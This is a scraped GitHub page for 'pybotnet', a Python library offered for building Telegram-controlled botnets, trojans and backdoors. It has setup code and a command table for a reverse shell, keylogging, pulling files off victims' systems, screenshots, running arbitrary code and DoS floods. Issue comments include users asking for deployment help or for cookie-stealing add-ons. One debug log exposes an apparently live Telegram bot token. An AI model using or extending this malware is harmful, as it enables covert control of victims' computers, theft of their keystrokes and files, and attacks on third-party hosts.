pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

Overview

trojan horse

pybotnet

A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

Persian document داکیومنت فارسی

Features:

  • Telegram anti-filter control panel
  • reverse shell
  • keylogger
  • extract target info
  • sleep source by Optional message
  • export file/s to target's system
  • import file/s from target's system
  • screenshot
  • Task Scheduler
  • Website Opener
  • Sound Player
  • Denial-Of-Service Attacker
  • Python Code runner

for more, see commands table at the end of this page

Requirements:

  • Python 3.6 or higher
  • Telegram account

Usage:

pip install pybotnet
from pybotnet import pybotnet
import time

# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'



# * show_log:          just for debugging
# * send_system_data:  send system short info in every bot messages in telegram

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
                        show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

Commmands:

Send the desired command to your bot in telegram, using the admin account registered in the trojan.

to run a command on only one target, use : <Target_MAC_Address> <command> ,Example: 66619484755211 get_info

COMMAND Sample DOES THIS version tested on
get_info get_info returns system info 0.06 windows, linux
do_sleep <scconds> <message (Optional)> do_sleep 99999 hi, i see you! Sleeps with printing a message. 0.08 windows, linux
cmd <system command> cmd mkdir new_folder cmd cd .., cmd ls runs system commands in shell or cmd 0.07 windows, linux
export_file <link> export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip file will be exported on the target machine and saved to the script path 0.14 windows, linux
import_file <file_route> import_file /home/onionj/folder/somting.png imports a file from target system (limit:5GB & 20min) 0.17.0 windows, linux
screenshot screenshot Takes a screenshot, uploads it to the online server and returns the download link 0.18.1 windows, linux
help help sends help menu 0.18.5 windows, linux
/start /start runs help command !! 0.18.7 windows, linux
<MAC_Address> reverse_shell or reverse_shell 66619484755211 reverse_shell and exit for exit! starst reverse shell on the target machine 0.20.1 windows, linux
keylogger keylogger start and keylogger stop to stop the keylogger Starts a keylogger on victim's system. keylogger can't handle persian words very correctly 0.21.1 windows, linux
scheduler scheduler start ,stop , list Adds a schedule to be run each n second 0.25.3 windows, linux
playsound playsound <sound-name> Will play a sound. Playsound can only play MP3 or WAV Files. 0.25.3 windows, linux
openurl openurl <url> <how-many-times> Will open a url n times. 0.25.3 windows, linux
dos dos <attack-type [GETFlood-ACKFlood]> <target-ip> <target-port> <thread-number> <payload-size> Will run Denial-Of-Service Attack. 1.0.0 windows
runcode runcode <code> Will run python code, The code should be written in a seperate line with correct python syntax, Because of python limitations , The function can't return the results. 1.0.0 windows, Linux

If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)

TODO List

Sample GUI Trojan created by pybotnet: VINET

Infected Game With PyBotNet: Infected Game With PyBotNet

Contributors

Thanks goes to these wonderful people :


oNion


TorhamDev


SepehrRasouli

Comments
  • ImportError

    ImportError

    Hi, onionj. When I imported pybotnet and ran the code I got this error. ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) Would you help me, please?

    bug help wanted 
    opened by Ali-Imangholi 13
  • I have a problem running the file main.py

    I have a problem running the file main.py

    Traceback (most recent call last): File "/data/data/com.termux/files/home/pybotnet/pybotnet/main.py", line 3, in from . import * ImportError: attempted relative import with no known parent package

    opened by pbthong 6
  • Develop botnet

    Develop botnet

    Hi my friend, this project is great, but its options are few, I am waiting for amazing updates and adding options for keylogger, screenshot, download, upload, etc. Please develop the botnet.

    opened by alix1011 6
  • Xlib.error.DisplayNameError: Bad display name

    Xlib.error.DisplayNameError: Bad display name ""

    first, i like this botnet.. is good because using telegram . .. but i got this error :

    Traceback (most recent call last): File "/usr/local/lib/python3.7/runpy.py", line 183, in _run_module_as_main mod_name, mod_spec, code = _get_module_details(mod_name, _Error) File "/usr/local/lib/python3.7/runpy.py", line 142, in _get_module_details return _get_module_details(pkg_main_name, error) File "/usr/local/lib/python3.7/runpy.py", line 109, in _get_module_details import(pkg_name) File "/usr/local/lib/python3.7/site-packages/pybotnet/init.py", line 1, in from .pybotnet import PyBotNet File "/usr/local/lib/python3.7/site-packages/pybotnet/pybotnet.py", line 2, in from . import util File "/usr/local/lib/python3.7/site-packages/pybotnet/util.py", line 20, in from pynput import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/init.py", line 40, in from . import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/init.py", line 52, in from ._xorg import KeyCode, Key, Controller, Listener File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/_xorg.py", line 39, in from pynput._util.xorg import ( File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 40, in _check() File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 38, in _check display = Xlib.display.Display() File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 89, in init self.display = _BaseDisplay(display) File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 71, in init protocol_display.Display.init(self, *args, **keys) File "/usr/local/lib/python3.7/site-packages/Xlib/protocol/display.py", line 84, in init name, protocol, host, displayno, screenno = connect.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display return mod.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 76, in get_display raise error.DisplayNameError(display) Xlib.error.DisplayNameError: Bad display name ""

    can you help ? ,

    help wanted question 
    opened by BJM15 3
  • Help me

    Help me

    Hi, I couldn't create main.py for myself, how should I add voice recorder and screen recorder to my file or add key logger or Google cookie logger? please help me

    opened by Rezahackm 3
  • Enhancment for pybotnet

    Enhancment for pybotnet

    Hello again , Onionj. Pybotnet does a great job in solving the issue of Telegram being blocked in Iran , but this app is not only intended for Iranian's so I believe that using a proxy in countries where freedom of speech is respected might not be useful so we can make it an optional choice. What are your thoughts ? SepehrRS

    wontfix 
    opened by SepehrRasouli 3
  • A question about configs.py.sample

    A question about configs.py.sample

    Hi, Onionj. I've read your Persian documentation and i noticed that you said the delay should not be less than 10. why? and why you haven't write the same for the English documentation? Because the delay in the README.MD version of configs.py.sample has a delay of 7 seconds and the delay in the original configs.py.sample code has a delay of 10 seconds. What are your thoughts ? How can we fix this ? SepehrRS.

    question 
    opened by SepehrRasouli 3
  • Added keylogger to pybotnet

    Added keylogger to pybotnet

    The keylogger command was added , and to activate it the user has to send keylogger start. the function will handle whether the keylogging system is activated already or not. If not , the function will send an error to deactivate the keylogger , the user has to send keylogger stop. the function will handle whether the keylogging system is activated or not. if not , it will send an error , otherwise , keylogging will be stopped and it will send the url to logged keys zip file. the keylogging system cannot handle Persian words very well , but all English words are handled correctly. all keys will have dates to indicate when they were recorded. all keys will be recorded in a textfile named klog.txt by default.

    opened by SepehrRasouli 3
  • error in open[SOLVED]

    error in open[SOLVED]

    hey i'm using this on windows 10, and when i place token and admin id in source and run it, i got this error

    Traceback (most recent call last):
      File "d:/My-projects/botnet_for_systems_pico_ducky/main.py", line 2, in <module>
        from pybotnet import BotNet, TelegramEngine
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\__init__.py", line 3, in <module>
        from .botnet import BotNet as BotNet
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\botnet.py", line 15, in <module>
        from .context import Context
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 9, in <module>
        class Context:
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 37, in Context
        def get_all_global_values(cls) -> dict[Any, Any]:
    TypeError: 'type' object is not subscriptable
    

    what should i do?

    opened by ebad84 2
  • Transfer all functions to util.py

    Transfer all functions to util.py

    Hi Onionj. As a contributor, I've a hard time trying to write new features and I can't use the pybotnet's features so I've to kinda invent the wheel again every time I want to run a command and etc. I would be very happy if you consider transferring all the useful features and their functions to util.py so the contributors wouldn't have a hard time trying to write new and useful features.

    opened by SepehrRasouli 2
  • Mybot can not receive and execute command

    Mybot can not receive and execute command

    Mybot had contacted my telegram successfully but when i type commands (/who, /help,...) the bot still can not get and execute them. Here is the log:

    DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet :

    My python 3.8, pybotnet>=2 What can i do now?

    help wanted question 
    opened by hanoivip 1
Releases(v2.2.2)
  • v2.2.2(Sep 3, 2022)

  • v2.2.1(Aug 16, 2022)

  • v2.2.0(Aug 5, 2022)

  • 2.1.0(Jul 2, 2022)

    Everything has changed in version 2.1.0 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • external scripts
    • to add custom control panel
    • in Telegram control pannel and proxy
    • in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • remote control to your apps ...
    Source code(tar.gz)
    Source code(zip)
  • 2.0.9b0(Jun 27, 2022)

    Everything has changed in version 2 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • Import external scripts
    • Ability to add custom control panel
    • Built in Telegram control pannel and proxy
    • Built in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • Add remote control to your apps
    • ...
    Source code(tar.gz)
    Source code(zip)
  • v1.0.5(May 31, 2022)

  • v1.0.4(Nov 29, 2021)

    https://github.com/onionj/pybotnet/pull/21#issue-1065277047

     @SepehrRasouli:
    runcode command had a problem like cmd command , which it would run forever non-stop , so I fixed it with the same solution i used for the cmd command.
    I also edited some minor things and tested the code , and the code worked properly.
    Please change the version.
    If you encountered any problem , contact me.
    
    Source code(tar.gz)
    Source code(zip)
  • v1.0.3(Oct 14, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • extract target info
    • sleep source by Optional message
    • export file/s to target's system
    • import file/s from target's system
    • screenshot
    • Task Scheduler
    • Website Opener
    • Sound Player
    • Denial-Of-Service Attacker
    • Python Code runner
    Source code(tar.gz)
    Source code(zip)
  • v1.0.1(Oct 12, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    • Denial-Of-Service Attack
    • Run python code
    Source code(tar.gz)
    Source code(zip)
  • v0.25.3(Oct 5, 2021)

    Features

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    Source code(tar.gz)
    Source code(zip)
  • v0.21.3(Sep 21, 2021)

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.20.8(Sep 18, 2021)

    trojan horse

    pybotnet

    A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

    Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

    Persian document داکیومنت فارسی

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.7(Jul 28, 2021)

    new:

    • add help and /start command

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.6(Jul 24, 2021)

  • v0.18.5(Jul 22, 2021)

  • v0.18.1(Jul 22, 2021)

    Features:

    get command from telegram and execute scripts
    get command and send message by third party proxy
    get target info
    sleep source by Optional message
    get ls (dirctory list)
    export file to targets system
    import file from target system
    + get screenshot
    
    Source code(tar.gz)
    Source code(zip)
  • v0.17.0(Jul 17, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    Source code(tar.gz)
    Source code(zip)
  • v0.15.5(Jul 3, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system (target download a link :) )
    • for more see commands table end of this page
    Source code(tar.gz)
    Source code(zip)
Owner
:) -> Geek
</oNion
Worm/Trojan/Ransomware/apt/Rootkit/Virus Database

Pestilence - The Malware Database [] Screenshot Pestilence is a project created to make the possibility of malware analysis open and available to the

*ERR0R* 47 Dec 21, 2022
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

Pupy Installation Installation instructions are on the wiki, in addition to all other documentation. For maximum compatibility, it is recommended to u

null 7.4k Jan 4, 2023
this keylogger is only for pc not for android but it will only work on those pc who have python installed it is made for all linux,windows and macos

Keylogger this keylogger is only for pc not for android but it will only work on those pc who have python installed it is made for all linux,windows a

Titan_Exodous 1 Nov 4, 2021
This is a keylogger in python for Windows, Mac and Linux!

Python-Keylogger This is a keylogger in python for Windows, Mac and Linux! #How to use it by downloading the zip file? Download the zip file first The

Zeus_Dxvxm 2 Nov 12, 2021
NexScanner is a tool which allows you to scan a website and find the admin login panel and sub-domains

NexScanner NexScanner is a tool which helps you scan a website for sub-domains and also to find login pages in the website like the admin login panel

null 8 Sep 3, 2022
This is an advanced backdoor, created with Python

Backdoor This is a Backdoor, created with Python 3. Types of Commands: Downloading / Uploading files. Launching / Deleting / Reading file's content. S

swagkarna 28 Oct 28, 2022
A TCP Backdoor made in python

Tracey-Backdoor A Reverse Shell Backdoor made in python OOP. It supposed to work in Windows and Linux OS Functions: Reverse Connection Send Reverse TC

null 13 Oct 15, 2022
Python exploit for vsftpd 2.3.4 - Backdoor Command Execution

CVE-2011-2523 - vsftpd 2.3.4 Exploit Discription vsftpd, which stands for Very Secure FTP Daemon,is an FTP server for Unix-like systems, including Lin

Padsala Tushal 5 Nov 8, 2022
The best Python Backdoor👌

Backdoor The best Python Backdoor Files Server file is used in all of cases If client is Windows, the client need execute EXE file If client is Linux,

null 13 Oct 28, 2022
Fat-Stealer is a stealer that allows you to grab the Discord token from a user and open a backdoor in his machine.

Fat-Stealer is a stealer that allows you to grab the Discord token from a user and open a backdoor in his machine.

Jet Berry's 21 Jan 1, 2023
Windows Virus who destroy some impotants files on C:\windows\system32\

psychic-robot Windows Virus who destroy some importants files on C:\windows\system32\ Signatures of psychic-robot.PY (python file) : Bkav Pro : ASP.We

H-Tech-Dev36 1 Jan 6, 2022
LittleBrother is a simple parental control application monitoring specific processes on Linux hosts to monitor and limit the play time of children.

Parental Control Application LittleBrother Overview LittleBrother is a simple parental control application monitoring specific processes (read "games"

null 40 Dec 21, 2022
Backdoor is a term that refers to the access of the software or hardware of a computer system without being detected.

This program is an non-object oriented opensource, hidden and undetectable backdoor/reverse shell/RAT for Windows made in Python 3 which contains many features such as multi-client support and cross-platform server.

null 35 Apr 17, 2022
Orthrus is a macOS agent that uses Apple's MDM to backdoor a device using a malicious profile.

Orthrus is a macOS agent that uses Apple's MDM to backdoor a device using a malicious profile. It effectively runs its own MDM server and allows the operator to interface with it using Mythic.

Mythic Agents 37 Dec 6, 2022
Lite version of my Gatekeeper backdoor for public use.

MayorSec Backdoor Fully functioning bind-type backdoor This backdoor is a fully functioning bind shell and lite version of my full functioning Gatekee

Joe Helle 56 Mar 25, 2022
A quick script to spot the usage of Unicode Bidi (bidirectional) characters that could lead to an Invisible Backdoor

Invisible Backdoor Detector is a little Python script that allows you to spot and remove Bidi characters that could lead to an invisible backdoor. If you don't know what that is you should check the related paragraph.

SecSI 28 Dec 29, 2022
Official implementation of the paper "Backdoor Attacks on Self-Supervised Learning".

SSL-Backdoor Abstract Large-scale unlabeled data has allowed recent progress in self-supervised learning methods that learn rich visual representation

UMBC Vision 44 Nov 21, 2022
Files related to PoC||GTFO 21:21 - NSA’s Backdoor of the PX1000-Cr

Files related to PoC||GTFO 21:21 - NSA’s Backdoor of the PX1000-Cr 64bit2key.py

Stefan Marsiske 15 Nov 26, 2022
The Linux defender anti-virus software ported to work on CentOS Linux.

By: Seanpm2001, Et; Al. Top README.md Read this article in a different language Sorted by: A-Z Sorting options unavailable ( af Afrikaans Afrikaans |

Sean P. Myrick V19.1.7.2 2 Sep 12, 2022